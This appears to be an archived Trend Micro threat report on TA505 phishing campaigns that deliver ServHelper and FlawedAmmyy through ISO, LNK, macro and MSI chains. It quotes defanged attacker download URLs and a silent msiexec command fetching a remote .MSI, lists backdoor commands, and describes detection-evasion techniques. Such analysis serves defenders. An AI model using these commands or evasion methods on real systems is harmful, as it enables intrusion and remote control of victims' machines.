TA505: Variety in Use of ServHelper and FlawedAmmyy

By By: Trend Micro Aug 27, 2019 Read time: 9 min (2545 words)

Published: 2019-08-27 · Archived: 2026-04-05 13:39:38 UTC

TA505 continues to show that as a cybercriminal group, they intend to wreak as much havoc while maximizing potential profits. Given the group's active campaigns since our updates in June and July, we continued following their latest campaigns. Just like in previous operations, they continue to make small changes, such as targeting other countries, entities, or the combination of techniques used for deployment, for each campaign. Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads. However, over the last nine campaigns since our June report, they also started using .ISO image attachments as the point of entry, as well as a .NET downloader, a new style for macro delivery, a newer version of ServHelper, and a .DLL variant of FlawedAmmyy downloader. The group also started targeting new countries, such as Turkey, Serbia, Romania, Korea, Canada, the Czech Republic, and Hungary.

.ISO, enabled macros for entry dropping ServHelper or FlawedAmmyy

We noticed that the group became active again in the middle of July, targeting Turkish and Serbian banks with emails that had .ISO file attachments as a means of entry. While the method is not newnews- cybercrime-and-digital-threats, the change in file type may yield successful infections given the unusual malware delivery technique. Emails with an attached .ISO image is an .LNK file that uses command line *msiexec* to execute an MSI file from a URL such as hxxp://139[.]180[.]195[.]36/pm2.intel

Figure 1. Infection chains for ServHelper installation

intel

Figure 2. A sample of an .ISO file with an embedded .LNK file

The pm2 file contains and runs another executable, which is an installer file created using Nullsoft Scriptable Install System (NSIS), a free script-driven installer authoring tool for Windows. This NSIS-encapsulated file then installs ServHelper

.intel

Figure 3. .LNK shortcut in .ISO file

In another sample we obtained, we found an Excel attachment with malicious macros embedded in the file. The macros directly download the file created using NSIS installer from hxxp://45[.]67[.]229[.]36/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper.

intel

Figure 4. Email sample with an attached Excel file.

In another sample, the group made several updates with the versions of ServHelper, one of which included the strings' binary encrypted in Vigenère cipher.

Figure 5. Encrypted string

We observed that some of the samples still had errors in the cipher routine. In another routine that was supposed to result in a stack overflow, it also displayed an error message. We suspect the developer of this particular sample copied and pasted a stack overflow code.

Figure 6. Vigenère cipher in ServHelper and the Delphi code in stack overflow

Another updated version included encrypted contents of the C&C communication via HTTP (previous versions had C&C request and response information in plain text). The encrypted sample — via XOR encoding/URL encoding — also received a response from the C&C encrypted with XOR. The XOR key is embedded in the binary; in this case, the key was "lol".

Figure 7. XOR Encrypted C&C communication

We also found two new backdoor commands, runmem and runmemxor, that can run additional .DLL commands in memory.

- ***shell***: Execute command
- ***runmem***: Download .DLL in memory and run
- ***runmemxor***: Download XOR encrypted .DLL and decrypt and run
- ***zakr***: Register autorun
- ***slp***: Set sleep time
- ***load***: Download executable file and run
- ***loaddll***: Download .DLL and run
- ***selfkill***: Uninstall itself

The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future. In a campaign targeting thousands of Korean businesses, we found an .ISO attachment — used as the malicious downloader — disguised as a confirmed flight ticket from a popular airline.

Figure 8. TA505 spoofing an airline company as a malicious file attachment.

In a slightly different technique still targeting Korean enterprises, the .ISO files either contained an .LNK file such as the previous iteration, or a .NET-compiled downloader.

Figure 9. Infection chains for FlawedAmmyy installation

Figure 10. Screenshot of decompiled script from the .ISO file with a .NET downloader embedded in the e-ticket.

Other samples also included an Excel file attachment with malicious macros that install FlawedAmmyy, or a URL included in the email that supposedly downloads the file needed to download the malware.

Figure 11. .LNK embedded in the .ISO file

Both versions tried to download and execute files *km1* or *km2*, an .MSI installer that executes the FlawedAmmyy downloader. This, in turn, downloads an RC4-encrypted FlawedAmmyy RAT payload from hxxp://92[.]38[.]135[.]67/2.dat or hxxp://27[.]102[.]70[.]196/1.dat that automatically decrypts and executes the malware. This was also previously documented by an ESET security researcher. On the samples that used a URL in the email content, we also noticed that the type of document file that it downloaded depended on the URL that the user opened. Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp://92[.]38[.]135[.]67 or hxxp://27[.]102[.]70[.]196, with filenames *k1* or *k2*. In a campaign that targeted Romanian banks, emails used the subject “Fw: copie COC L5H3” and came with an .ISO image attachment.

Figure 12. Infection chains for ServHelper installation with .NET downloader

Further analysis revealed a .NET downloader embedded in the image, along with routines that were almost similar to those used in the campaign observed targeting Turkish banks. The .NET downloads *jm1* — an .MSI installer — that installs another NSIS installer, leading to a ServHelper infection in the system.

Figure 13. The decompiled .NET downloader

In another routine, an Excel file attachment downloads the NSIS installer once the user enables the malicious macros from hxxp://109[.]234[.]37[.]15:80/j1 or hxxp://169[.]239[.]128[.]170/j1. Both URLs contain the same binaries as the ones that the *jm1* file installs.

More typical TA505 campaigns, with old and new targets

The group's more typical payload and routine involves the use of ServHelper and FlawedAmmy RAT and attaching a document embedded with malicious commands and strings. One variant targets Serbian banks with subjects pertaining to “payments” or “invoices” applicable in several European languages. Enabling the macros of the Excel file downloads a file created using NSIS installer with ServHelper from 79[.]141[.]168[.]105 or 195[.]123[.]213[.]126. We found another routine from a campaign targeting government agencies in Saudi Arabia,

Oman, and Qatar with another type of .XLS or .DOC attachment. The emails used in these campaigns used subjects pertaining to finance or urgent concerns on insurance policies. A similar campaign targeting Turkish educational and government institutions used email subjects pertaining to invoice information or personnel payroll, and Visual Basic for Applications (VBA) .XLS or VBA .DOC macros. Similar to the routine variant in Figure 6, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp://195[.]123[.]245[.]185/r1 or hxxp://185[.]225[.]17[.]5/r1, in then decrypts and executes FlawedAmmyy RAT from hxxp://185[.]225[.]17[.]5/2.dat or hxxp://195[.]123[.]245[.]185/1.dat. Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp://195.123.245.185/km or hxxp://185.225.17.5/km, which executes the NSIS installer for ServHelper installation. Similar to one of the routines depicted in Figure 9, the group also reused one of the email samples but changed the targets to India and the United States, and added content referring to invoices. The email may contain different documents, but the URLs for downloading ServHelper as the payload remain the same.

Figure 14. One of the more typical techniques employed by TA505.

.DLL downloaders that deliver FlawedAmmyy and newly styled macros

In the first week of August, we noticed the group using a different approach and style to fetch the downloaders via macros. While FlawedAmmyy RAT was still the final payload, the downloader was different — this operation used a .DLL variant. This particular campaign targeted Canada with subjects asking for confirmation of numbers from the marketing department.

Figure 15. Infection chain with .DLL FlawedAmmyy downloader

The attached document asks the user to enable the macros, which creates an Internet Explorer object instance. This loads a text file from a hardcoded website, wherein the content of the document file is parsed through and the inner text of the document is loaded. Our analysis showed that this is likely done so the malicious file can bypass some firewall rules, since the communication uses Internet Explorer.

Figure 16. Sample document with malicious macros.

Figure 17. Text file using Internet Explorer for communication to bypass firewall rules.

The downloaded file is a text file with a single number on each line. The macros process the downloaded payload with each number encrypted in XOR with a constant hardcoded value of 106. The result is an executable file written to the disc and executed.

Figure 18. Executable file written to disk and executed

The executed .DLL is packed using two layers: a custom packer for the first stage and UPX (Ultimate Packer for Executables) for the second stage. The unpacked payload in memory is also a .DLL — it's the first time we've seen a FlawedAmmyy downloader as a .DLL. As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates. The first update is the use of the socket API to send an HTTP request instead of *wininet* or *winhttp* API to download an encrypted FlawedAmmyy, building an HTTP header by itself. This could likely be an effort to bypass API hooking for HTTP.

Figure 19. Send HTTP request using socket API

The second change: The decrypted FlawedAmmyy RAT is now saved as *dllhots.exe* in *C:\temp* (it used to be saved as *wsus.exe*). Lastly, this new FlawedAmmyy downloader overwrites some PE header members with random values. Specifically, it overwrites the checksum, the address of relocation table in DOS header, and the checksum in optional headers.

Figure 20. Original PE header members (left) vs. overwritten header members (right)

The decrypted FlawedAmmyy RAT slightly different from the one that TA505 reused over its past campaigns. While the previous strings had the modified AmmyyAdmin binary since the source code was leaked, TA505 changed the strings in this sample to PopssAdmin. This may bypass detection rules if the systems' lists were not updated.

Figure 21. Significant changes in the binary

In another sample targeting South Korea, the difference with the previous case is the XOR encryption hardcoded at 180. We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader. From the document embedded with the malicious macros, the macro code calls "Run" on the *WScript.Shell* object. Most of the strings forming the final command are stored in the "Tag" properties of a form embedded in the document.

Figure 22. Sample document in Korean asking the user to enable the macros.

Figure 23. Final command strings in document's "tag" properties.

The final command executes the download and installation of the .MSI file into *C:\Windows\System32\msiexec.exe" back=13 error=continue /i http://92[.]38[.]135[.]99/99.msi /q*

OnLoad="c:\windows\notepad.exe

Figure 24. .MSI file installed in the system

From the parameters above, “/i” means install, “/q” means quiet. The other three parameters do not appear to be used at all, as reported in the install log (by adding **/L*V "C:\example.log"** parameter). The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT.

Figure 25. Unused parameters from log

Around the second week of August, we found a campaign targeting banks in the Czech Republic with subjects pertaining to credit and NAV transfer. Analysis of the samples revealed that the document and macro style was similar to the Korean campaign that used.MSI files, but this campaign downloads from hxxp://185[.]17[.]122[.]220/555.msi or hxxp://159[.]69[.]54[.]146/555.msi. This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey.

Suspicious activity using ServHelper

A campaign targeting China spoofed FedEx-themed emails with subjects pertaining to delivery problems, failures, or notifications. Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named *fedex.doc* from hxxp://www.fedexdocs[.]top/fedex.doc or hxxp://www.fedexdocs[.]icu/fedex.doc. The VBA macro in the document downloads an NSIS-packed executable from hxxps://senddocs[.]icu/stelar.exe, which installs ServHelper. However, while initial analysis of the macro it used made us believe that this was from TA505, the macros’ obfuscation and style turned out to be more similar to the ones described in this post, based on the code page, senders, and fast flux. This particular campaign did not match TA505’s technique. Thus we suspect that other cybercriminals purchased or borrowed ServHelper from the underground market for this campaign.

Conclusion

A number of ServHelper samples can be found in the wild, but some do not appear to be attributed to TA505. One such sample (reported by a researcher that used the Twitter handle James_inthe_box), delivered Remcos, seemingly with a TA505 pattern. However, we think it may be more likely that ServHelper is sold to other malicious actors and tested on possible targets. In the long run, as more changes are added to the malware, this can make attribution to specific groups more difficult.

The changes and adjustments that TA505 made from the original ServHelper and FlawedAmmyy routines may indicate that the group is experimenting and testing to determine which forms of obfuscation can bypass detections, resulting in more financial returns. It's also possible that the changes in target countries and industries are driven by the group’s customers; targeting new victims and even returning to previously targeted countries and

organizations with new techniques. This also gives TA505 more data on which types of files can be further used for detection evasion, or even to deter attribution.

Given the frequency of changes in routines and deployment from our previous articles, we can expect TA505 to come up with more methods for payload delivery, malware types, and combinations of previously used and new routines. Further, as the malware is still being upgraded, more iterations can be expected in the future. If not removed completely, malicious actors can still take control of computers, peripherals, sensitive information, and proprietary data.

As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems. Enterprises are advised to strengthen their online systems, especially email gatewaysnews- cybercrime-and-digital-threats. Enforce the principle of least privilege, as well as a patch management and system update procedure to make sure the entire network is protected. Install redundant and multilayered protection systems from the gateway to the endpoint that can detect and block malicious URLS, emails, and attachments, as well as proactively monitornews- cybercrime-and-digital-threats other possible attack vectors.

Enterprises can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suitesproducts and Worry-Free™ Business Security. Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. Trend Micro Deep Discovery™products has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs. Trend Micro™ Hosted Email Securityservices is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365products, Google Apps, and other hosted and on-premises email solutions. The indicators of compromise (IoCs) related to these campaigns we observed are in this appendix.
